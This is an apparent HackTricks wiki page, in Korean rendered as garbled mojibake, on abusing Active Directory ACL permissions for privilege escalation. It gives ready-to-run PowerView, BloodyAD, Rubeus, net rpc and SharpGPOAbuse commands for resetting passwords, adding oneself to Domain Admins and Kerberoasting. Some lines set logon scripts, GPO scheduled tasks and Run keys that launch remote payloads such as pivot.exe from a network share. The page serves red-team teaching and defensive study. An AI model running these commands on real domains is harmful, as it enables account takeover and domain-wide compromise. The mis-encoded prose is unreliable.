Active Directory ACLs/ACEs ๋จ์ฉ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ ์ฃผ๋ก ๋ค์ ๊ธฐ๋ฒ๋ค์ ์์ฝ์ ๋๋ค https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces ๋ฐ https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges. ์์ธํ ๋ด์ฉ์ ์๋ฌธ ๊ธฐ์ฌ๋ฅผ ํ์ธํ์ธ์.
BadSuccessor
GenericAll (์ฌ์ฉ์์ ๋ํ ๊ถํ)
์ด ๊ถํ์ ๊ณต๊ฒฉ์์๊ฒ ๋์ ์ฌ์ฉ์ ๊ณ์ ์ ๋ํ ์ ์ฒด ์ ์ด ๊ถํ์ ๋ถ์ฌํฉ๋๋ค. Get-ObjectAcl ๋ช
๋ น์ผ๋ก GenericAll ๊ถํ์ด ํ์ธ๋๋ฉด, ๊ณต๊ฒฉ์๋ ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
- ๋์ ๊ณ์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ:
net user <username> <password> /domain๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ค์ ํ ์ ์์ต๋๋ค. - Linux์์๋ SAMR์ ํตํด Samba์
net rpc๋ก ๋์ผํ ์์ ์ ์ํํ ์ ์์ต๋๋ค:
# Reset target user's password over SAMR from Linux
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
- ๊ณ์ ์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ, UAC ํ๋๊ทธ๋ฅผ ์ง์ฐ์ธ์:
GenericAll์userAccountControl์ ํธ์งํ ์ ์๊ฒ ํฉ๋๋ค. Linux์์ BloodyAD๋ACCOUNTDISABLEํ๋๊ทธ๋ฅผ ์ ๊ฑฐํ ์ ์์ต๋๋ค:
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
- Targeted Kerberoasting: ์ฌ์ฉ์ ๊ณ์ ์ SPN์ ํ ๋นํ์ฌ kerberoastable ์ํ๋ก ๋ง๋ ๋ค์, Rubeus์ targetedKerberoast.py๋ฅผ ์ฌ์ฉํ์ฌ ticket-granting ticket (TGT) hashes๋ฅผ ์ถ์ถํ๊ณ crack์ ์๋ํฉ๋๋ค.
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
- Targeted ASREPRoasting: ์ฌ์ฉ์์ ๋ํด pre-authentication์ ๋นํ์ฑํํ์ฌ ํด๋น ๊ณ์ ์ ASREPRoasting์ ์ทจ์ฝํ๊ฒ ๋ง๋ญ๋๋ค.
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- Shadow Credentials / Key Credential Link: ์ฌ์ฉ์์ ๋ํด
GenericAll๊ถํ์ด ์์ผ๋ฉด ์ธ์ฆ์ ๊ธฐ๋ฐ ์๊ฒฉ ์ฆ๋ช ์ ์ถ๊ฐํ๊ณ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ์ง ์๊ณ ๋ ํด๋น ์ฌ์ฉ์๋ก ์ธ์ฆํ ์ ์์ต๋๋ค. ์ฐธ์กฐ:
GenericAll Rights on Group
์ด ๊ถํ์ Domain Admins์ ๊ฐ์ ๊ทธ๋ฃน์ ๋ํด GenericAll ๊ถํ์ ๊ฐ์ง attacker๊ฐ ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ์ ์กฐ์ํ ์ ์๊ฒ ํฉ๋๋ค. Get-NetGroup์ผ๋ก ๊ทธ๋ฃน์ distinguished name์ ์๋ณํ ํ, attacker๋ ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
- Add Themselves to the Domain Admins Group: ์ด ์์ ์ ์ง์ ๋ช ๋ น์ ์ฌ์ฉํ๊ฑฐ๋ Active Directory ๋๋ PowerSploit์ ๊ฐ์ ๋ชจ๋์ ์ฌ์ฉํ์ฌ ์ํํ ์ ์์ต๋๋ค.
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
- Linux์์ ๋ํ BloodyAD๋ฅผ ํ์ฉํ์ฌ ํด๋น ๊ทธ๋ฃน์ ๋ํด GenericAll/Write ๋ฉค๋ฒ์ญ์ ๋ณด์ ํ๊ณ ์์ผ๋ฉด ์์์ ๊ทธ๋ฃน์ ์์ ์ ์ถ๊ฐํ ์ ์์ต๋๋ค. ๋์ ๊ทธ๋ฃน์ด โRemote Management Usersโ์ ์ค์ฒฉ๋์ด ์์ผ๋ฉด, ํด๋น ๊ทธ๋ฃน์ ์กด์คํ๋ ํธ์คํธ์์ ์ฆ์ WinRM ์ก์ธ์ค๋ฅผ ์ป์ต๋๋ค:
# Linux tooling example (BloodyAD) to add yourself to a target group
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
# If the target group is member of "Remote Management Users", WinRM becomes available
netexec winrm <dc-fqdn> -u <user> -p '<pass>'
GenericAll / GenericWrite / Write on Computer/User
์ปดํจํฐ ๊ฐ์ฒด ๋๋ ์ฌ์ฉ์ ๊ณ์ ์ ์ด๋ฌํ ๊ถํ์ ๋ณด์ ํ๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
- Kerberos Resource-based Constrained Delegation: ์ปดํจํฐ ๊ฐ์ฒด๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค.
- Shadow Credentials: ์ด ๊ถํ์ ์ ์ฉํด shadow credentials๋ฅผ ์์ฑํ์ฌ ์ปดํจํฐ๋ ์ฌ์ฉ์ ๊ณ์ ์ ๊ฐ์ฅํ ์ ์์ต๋๋ค.
WriteProperty on Group
์ฌ์ฉ์๊ฐ ํน์ ๊ทธ๋ฃน(์: Domain Admins)์ ๋ชจ๋ ๊ฐ์ฒด์ ๋ํด WriteProperty ๊ถํ์ ๊ฐ์ง๊ณ ์์ผ๋ฉด ๋ค์์ ์ํํ ์ ์์ต๋๋ค:
- Add Themselves to the Domain Admins Group:
net user์Add-NetGroupUser๋ช ๋ น์ ๊ฒฐํฉํด ๋ฌ์ฑํ ์ ์์ผ๋ฉฐ, ์ด ๋ฐฉ๋ฒ์ ๋๋ฉ์ธ ๋ด์์ privilege escalation์ ํ์ฉํฉ๋๋ค.
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
Self (Self-Membership) on Group
์ด ๊ถํ์ ํตํด ๊ณต๊ฒฉ์๋ ๊ทธ๋ฃน ๊ตฌ์ฑ์์ ์ง์ ์กฐ์ํ๋ ๋ช
๋ น์ด๋ก ์์ ์ ํน์ ๊ทธ๋ฃน(์: Domain Admins)์ ์ถ๊ฐํ ์ ์์ต๋๋ค. ๋ค์ ๋ช
๋ น์ด ์ํ์ค๋ฅผ ์ฌ์ฉํ๋ฉด ์์ ์ ์ถ๊ฐํ ์ ์์ต๋๋ค:
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
WriteProperty (Self-Membership)
์ ์ฌํ ๊ถํ์ผ๋ก, ๊ณต๊ฒฉ์๋ ํด๋น ๊ทธ๋ฃน์ ๋ํด WriteProperty ๊ถํ์ด ์์ผ๋ฉด ๊ทธ๋ฃน ์์ฑ์ ์์ ํ์ฌ ์์ ์ ์ง์ ๊ทธ๋ฃน์ ์ถ๊ฐํ ์ ์์ต๋๋ค. ์ด ๊ถํ์ ํ์ธ๊ณผ ์คํ์ ๋ค์์ ํตํด ์ํ๋ฉ๋๋ค:
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
net group "domain admins" spotless /add /domain
ForceChangePassword
User-Force-Change-Password์ ๋ํ ExtendedRight ๊ถํ์ ๋ณด์ ํ๋ฉด ํ์ฌ ์ํธ๋ฅผ ์์ง ๋ชปํด๋ ์ํธ๋ฅผ ์ฌ์ค์ ํ ์ ์์ต๋๋ค. ์ด ๊ถํ์ ํ์ธ๊ณผ ์
์ฉ์ PowerShell ๋๋ ๊ธฐํ ๋ช
๋ น์ค ๋๊ตฌ๋ฅผ ํตํด ์ํํ ์ ์์ผ๋ฉฐ, ๋ํํ ์ธ์
๋ฟ ์๋๋ผ ๋น๋ํํ ํ๊ฒฝ์ ์ํ ํ ์ค ๋ช
๋ น(one-liners) ๋ฑ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ผ๋ก ์ฌ์ฉ์์ ์ํธ๋ฅผ ์ฌ์ค์ ํ ์ ์์ต๋๋ค. ๋ช
๋ น์ ๊ฐ๋จํ PowerShell ํธ์ถ์์ Linux์ rpcclient ์ฌ์ฉ์ ์ด๋ฅด๊ธฐ๊น์ง ๋ค์ํ์ฌ ๊ณต๊ฒฉ ๋ฒกํฐ์ ๋ค์ฌ๋ค๋ฅํจ์ ๋ณด์ฌ์ค๋๋ค.
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainUserPassword -Identity delegate -Verbose
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
WriteOwner on Group
๊ณต๊ฒฉ์๊ฐ ๊ทธ๋ฃน์ ๋ํด WriteOwner ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ ๊ฒ์ ์๊ฒ ๋๋ฉด, ํด๋น ๊ทธ๋ฃน์ ์์ ๊ถ์ ์์ ์ผ๋ก ๋ณ๊ฒฝํ ์ ์๋ค. ์ด๋ ํด๋น ๊ทธ๋ฃน์ด Domain Admins์ธ ๊ฒฝ์ฐ ํนํ ์ํฅ์ด ํฌ๋ฉฐ, ์์ ๊ถ ๋ณ๊ฒฝ์ ํตํด ๊ทธ๋ฃน ์์ฑ๊ณผ ๊ตฌ์ฑ์์ ๋ํ ๋ ๊ด๋ฒ์ํ ์ ์ด๊ฐ ๊ฐ๋ฅํด์ง๋ค. ์ด ๊ณผ์ ์ Get-ObjectAcl์ ํตํด ์ฌ๋ฐ๋ฅธ ๊ฐ์ฒด๋ฅผ ์๋ณํ ๋ค์ Set-DomainObjectOwner๋ฅผ ์ฌ์ฉํด ์์ ์๋ฅผ SID ๋๋ ์ด๋ฆ์ผ๋ก ๋ณ๊ฒฝํ๋ ๊ฒ์ ํฌํจํ๋ค.
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
GenericWrite on User
์ด ๊ถํ์ ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์ ์์ฑ์ ์์ ํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, GenericWrite ์ก์ธ์ค๋ก ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์์ ๋ก๊ทธ์จ ์คํฌ๋ฆฝํธ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ์ฌ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์จํ ๋ ์
์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋๋ก ํ ์ ์์ต๋๋ค. ์ด๋ Set-ADObject ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ๋์ ์ฌ์ฉ์์ scriptpath ์์ฑ์ ๊ณต๊ฒฉ์์ ์คํฌ๋ฆฝํธ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์
๋ฐ์ดํธํจ์ผ๋ก์จ ๋ฌ์ฑ๋ฉ๋๋ค.
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
GenericWrite on Group
์ด ๊ถํ์ ์ด์ฉํ๋ฉด ๊ณต๊ฒฉ์๋ ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ์ ์กฐ์ํ ์ ์์ผ๋ฉฐ, ์๋ฅผ ๋ค์ด ์์ ์ด๋ ๋ค๋ฅธ ์ฌ์ฉ์๋ฅผ ํน์ ๊ทธ๋ฃน์ ์ถ๊ฐํ ์ ์์ต๋๋ค. ์ด ์ ์ฐจ๋ ์๊ฒฉ ์ฆ๋ช ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ณ , ์ด๋ฅผ ์ฌ์ฉํด ์ฌ์ฉ์๋ฅผ ๊ทธ๋ฃน์ ์ถ๊ฐํ๊ฑฐ๋ ์ ๊ฑฐํ๋ฉฐ, PowerShell ๋ช ๋ น์ผ๋ก ๋ฉค๋ฒ์ญ ๋ณ๊ฒฝ์ ํ์ธํ๋ ๊ณผ์ ์ ํฌํจํฉ๋๋ค.
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
- Linux์์, Samba
net์ ๊ทธ๋ฃน์ ๋ํดGenericWrite๊ถํ์ ๋ณด์ ํ๊ณ ์์ผ๋ฉด ๋ฉค๋ฒ๋ฅผ ์ถ๊ฐ/์ญ์ ํ ์ ์์ต๋๋ค (PowerShell/RSAT๋ฅผ ์ฌ์ฉํ ์ ์์ ๋ ์ ์ฉ):
# Add yourself to the target group via SAMR
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
# Verify current members
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
WriteDACL + WriteOwner
AD ๊ฐ์ฒด๋ฅผ ์์ ํ๊ณ WriteDACL ๊ถํ์ ๊ฐ์ง๊ณ ์์ผ๋ฉด ๊ณต๊ฒฉ์๋ ํด๋น ๊ฐ์ฒด์ ๋ํด ์ค์ค๋ก GenericAll ๊ถํ์ ๋ถ์ฌํ ์ ์์ต๋๋ค. ์ด๊ฒ์ ADSI ์กฐ์์ ํตํด ์ํ๋๋ฉฐ, ๊ฐ์ฒด์ ๋ํ ์์ ํ ์ ์ด์ ๊ทธ๋ฃน ๋ฉค๋ฒ์ญ์ ์์ ํ ์ ์๋ ๋ฅ๋ ฅ์ ์ ๊ณตํฉ๋๋ค. ๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ Active Directory ๋ชจ๋์ Set-Acl / Get-Acl cmdlets๋ฅผ ์ฌ์ฉํด ์ด๋ฌํ ๊ถํ์ ์
์ฉํ๋ ค๊ณ ํ ๋์๋ ์ ํ์ด ์กด์ฌํฉ๋๋ค.
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
WriteDACL/WriteOwner ๋น ๋ฅธ ํ์ทจ (PowerView)
์ฌ์ฉ์ ๋๋ ์๋น์ค ๊ณ์ ์ ๋ํด WriteOwner ๋ฐ WriteDacl ๊ถํ์ด ์์ ๋, ๊ธฐ์กด password๋ฅผ ์์ง ๋ชปํด๋ PowerView๋ฅผ ์ฌ์ฉํด ๊ณ์ ์ ์์ ํ ์ ์ดํ๊ณ password๋ฅผ ์ฌ์ค์ ํ ์ ์์ต๋๋ค:
# Load PowerView
. .\PowerView.ps1
# Grant yourself full control over the target object (adds GenericAll in the DACL)
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
# Set a new password for the target principal
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
์ฐธ๊ณ :
WriteOwner๋ง ์๋ ๊ฒฝ์ฐ ๋จผ์ ์์ ์๋ฅผ ์์ ์ผ๋ก ๋ณ๊ฒฝํด์ผ ํ ์ ์์ต๋๋ค:
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
- ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ SMB/LDAP/RDP/WinRM ๋ฑ ์ด๋ค ํ๋กํ ์ฝ๋ก๋ ์ ๊ทผ์ด ๊ฐ๋ฅํ์ง ๊ฒ์ฆํ์ธ์.
Replication on the Domain (DCSync)
DCSync ๊ณต๊ฒฉ์ ๋๋ฉ์ธ์์ ํน์ ๋ณต์ ๊ถํ์ ์ด์ฉํด ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ๋ฅผ ํ๋ด ๋ด๊ณ ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช
์ ํฌํจํ ๋ฐ์ดํฐ๋ฅผ ๋๊ธฐํํฉ๋๋ค. ์ด ๊ฐ๋ ฅํ ๊ธฐ๋ฒ์ DS-Replication-Get-Changes์ ๊ฐ์ ๊ถํ์ ํ์๋ก ํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์ง์ ์ ๊ทผํ์ง ์๊ณ ๋ AD ํ๊ฒฝ์์ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ถ์ถํ ์ ์๊ฒ ํฉ๋๋ค. Learn more about the DCSync attack here.
GPO Delegation
GPO Delegation
Group Policy Objects (GPOs) ๊ด๋ฆฌ๋ฅผ ์์๋ ์ ๊ทผ์ ์ฌ๊ฐํ ๋ณด์ ์ํ์ ์ด๋ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด offense\spotless ๊ฐ์ ์ฌ์ฉ์๊ฐ GPO ๊ด๋ฆฌ ๊ถํ์ ์์๋ฐ์ผ๋ฉด WriteProperty, WriteDacl, WriteOwner ๊ฐ์ ๊ถํ์ ๊ฐ์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ถํ์ PowerView๋ฅผ ์ฌ์ฉํ์ฌ ์๋ณ๋ ๊ฒ์ฒ๋ผ ์
์ฉ๋ ์ ์์ต๋๋ค: bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
Enumerate GPO Permissions
GPO๊ฐ ์๋ชป ๊ตฌ์ฑ๋์ด ์๋์ง ์๋ณํ๋ ค๋ฉด PowerSploit์ cmdlets๋ฅผ ์ฐ๊ณํด์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด ํน์ ์ฌ์ฉ์๊ฐ ๊ด๋ฆฌ ๊ถํ์ ๊ฐ์ง GPO๋ฅผ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค: powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
์ง์ ๋ ์ ์ฑ
์ด ์ ์ฉ๋ ์ปดํจํฐ: ํน์ GPO๊ฐ ์ ์ฉ๋๋ ์ปดํจํฐ๋ฅผ ํ์ธํ๋ฉด ์ ์ฌ์ ์ํฅ์ ์ดํดํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค. powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
ํน์ ์ปดํจํฐ์ ์ ์ฉ๋ ์ ์ฑ
: ํน์ ์ปดํจํฐ์ ์ด๋ค ์ ์ฑ
์ด ์ ์ฉ๋์๋์ง ํ์ธํ๋ ค๋ฉด Get-DomainGPO ๊ฐ์ ๋ช
๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ง์ ๋ ์ ์ฑ
์ด ์ ์ฉ๋ OU: ํน์ ์ ์ฑ
์ ์ํฅ์ ๋ฐ๋ ์กฐ์ง ๋จ์(OU)๋ฅผ ์๋ณํ๋ ค๋ฉด Get-DomainOU๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
๋ํ ๋๊ตฌ GPOHound๋ฅผ ์ฌ์ฉํ์ฌ GPO๋ฅผ ์ด๊ฑฐํ๊ณ ๋ฌธ์ ๋ฅผ ์ฐพ์๋ณผ ์ ์์ต๋๋ค.
Abuse GPO - New-GPOImmediateTask
์๋ชป ๊ตฌ์ฑ๋ GPO๋ ์ฆ์ ์คํ๋๋ scheduled task๋ฅผ ์์ฑํ๋ ๋ฑ ์ฝ๋ ์คํ์ ์ํด ์ ์ฉ๋ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ์ํฅ์ ๋ฐ๋ ์ปดํจํฐ์์ ๋ก์ปฌ Administrators ๊ทธ๋ฃน์ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ๋ฉด ๊ถํ์ ํฌ๊ฒ ์์น์ํฌ ์ ์์ต๋๋ค:
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
GroupPolicy module - Abuse GPO
GroupPolicy module์ด ์ค์น๋์ด ์์ผ๋ฉด ์๋ก์ด GPOs๋ฅผ ์์ฑ ๋ฐ ์ฐ๊ฒฐํ๊ณ , ์ํฅ์ ๋ฐ๋ ์ปดํจํฐ์์ backdoors๋ฅผ ์คํํ๋๋ก registry values์ ๊ฐ์ preferences๋ฅผ ์ค์ ํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ GPO๊ฐ ์ ๋ฐ์ดํธ๋๊ณ ์ฌ์ฉ์๊ฐ ์ปดํจํฐ์ ๋ก๊ทธ์ธํด์ผ ์คํ๋ฉ๋๋ค:
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
SharpGPOAbuse - Abuse GPO
SharpGPOAbuse๋ ์๋ก์ด GPOs๋ฅผ ๋ง๋ค ํ์ ์์ด ์์ ์ ์ถ๊ฐํ๊ฑฐ๋ ์ค์ ์ ์์ ํ์ฌ ๊ธฐ์กด GPOs๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. ์ด ๋๊ตฌ๋ ๋ณ๊ฒฝ์ ์ ์ฉํ๊ธฐ ์ ์ ๊ธฐ์กด GPOs๋ฅผ ์์ ํ๊ฑฐ๋ RSAT ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ์๋ก์ด GPOs๋ฅผ ์์ฑํด์ผ ํฉ๋๋ค:
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
์ ์ฑ ๊ฐ์ ์ ๋ฐ์ดํธ
GPO ์
๋ฐ์ดํธ๋ ์ผ๋ฐ์ ์ผ๋ก ์ฝ 90๋ถ๋ง๋ค ๋ฐ์ํฉ๋๋ค. ์ด ํ๋ก์ธ์ค๋ฅผ ๋น ๋ฅด๊ฒ ์งํํ๋ ค๋ฉด, ํนํ ๋ณ๊ฒฝ์ ์ ์ฉํ ์งํ์ ๋์ ์ปดํจํฐ์์ gpupdate /force ๋ช
๋ น์ ์ฌ์ฉํ์ฌ ์ฆ์ ์ ์ฑ
์
๋ฐ์ดํธ๋ฅผ ๊ฐ์ ํ ์ ์์ต๋๋ค. ์ด ๋ช
๋ น์ ๋ค์ ์๋ ์
๋ฐ์ดํธ ์ฃผ๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ์ง ์๊ณ GPOs์ ๋ํ ์์ ์ฌํญ์ด ์ ์ฉ๋๋๋ก ๋ณด์ฅํฉ๋๋ค.
๋ด๋ถ ๋์
ํน์ GPO์ Scheduled Tasks๋ฅผ ๊ฒ์ฌํ๋ฉด Misconfigured Policy์ ๊ฐ์ ๊ฒฝ์ฐ evilTask ๊ฐ์ ์์
์ด ์ถ๊ฐ๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. ์ด๋ฌํ ์์
์ ์์คํ
๋์์ ๋ณ๊ฒฝํ๊ฑฐ๋ ๊ถํ์ ์์น์ํค๋ ค๋ ์คํฌ๋ฆฝํธ๋ ๋ช
๋ น์ค ๋๊ตฌ๋ฅผ ํตํด ์์ฑ๋ฉ๋๋ค.
์์
์ ๊ตฌ์กฐ๋ New-GPOImmediateTask๋ก ์์ฑ๋ XML ๊ตฌ์ฑ ํ์ผ์ ๋ํ๋ ์์ผ๋ฉฐ, ์คํํ ๋ช
๋ น๊ณผ ํธ๋ฆฌ๊ฑฐ๋ฅผ ํฌํจํ ์์ฝ ์์
์ ์ธ๋ถ ์ฌํญ์ ์ค๋ช
ํฉ๋๋ค. ์ด ํ์ผ์ GPOs ๋ด์์ ์์ฝ๋ ์์
์ด ์ด๋ป๊ฒ ์ ์๋๊ณ ๊ด๋ฆฌ๋๋์ง๋ฅผ ๋ํ๋ด๋ฉฐ, ์ ์ฑ
์ํ์ ์ผํ์ผ๋ก ์์์ ๋ช
๋ น์ด๋ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค.
Users and Groups
GPOs๋ ๋์ ์์คํ
์์ ์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน ๊ตฌ์ฑ์์ ์กฐ์๋ ํ์ฉํฉ๋๋ค. Users and Groups ์ ์ฑ
ํ์ผ์ ์ง์ ํธ์งํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๋ ๋ก์ปฌ administrators ๊ทธ๋ฃน๊ณผ ๊ฐ์ ๊ถํ์ด ์๋ ๊ทธ๋ฃน์ ์ฌ์ฉ์๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค. ์ด๋ GPO ๊ด๋ฆฌ ๊ถํ์ ์์์ ํตํด ๊ฐ๋ฅํ๋ฉฐ, ์ ์ฑ
ํ์ผ์ ์์ ํ์ฌ ์ ์ฌ์ฉ์๋ฅผ ํฌํจํ๊ฑฐ๋ ๊ทธ๋ฃน ๊ตฌ์ฑ์์ ๋ณ๊ฒฝํ ์ ์๊ฒ ํฉ๋๋ค.
Users and Groups์ฉ XML ๊ตฌ์ฑ ํ์ผ์ ์ด๋ฌํ ๋ณ๊ฒฝ์ด ์ด๋ป๊ฒ ๊ตฌํ๋๋์ง ๊ฐ๋ต์ ๋ณด์ฌ์ค๋๋ค. ์ด ํ์ผ์ ํญ๋ชฉ์ ์ถ๊ฐํจ์ผ๋ก์จ ํน์ ์ฌ์ฉ์์๊ฒ ์ํฅ์ ๋ฐ๋ ์์คํ ์ ๋ฐ์ ๊ฑธ์ณ ๊ถํ์ ๋ถ์ฌํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ์ GPO ์กฐ์์ ํตํ ์ง์ ์ ์ธ ๊ถํ ์์น ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค.
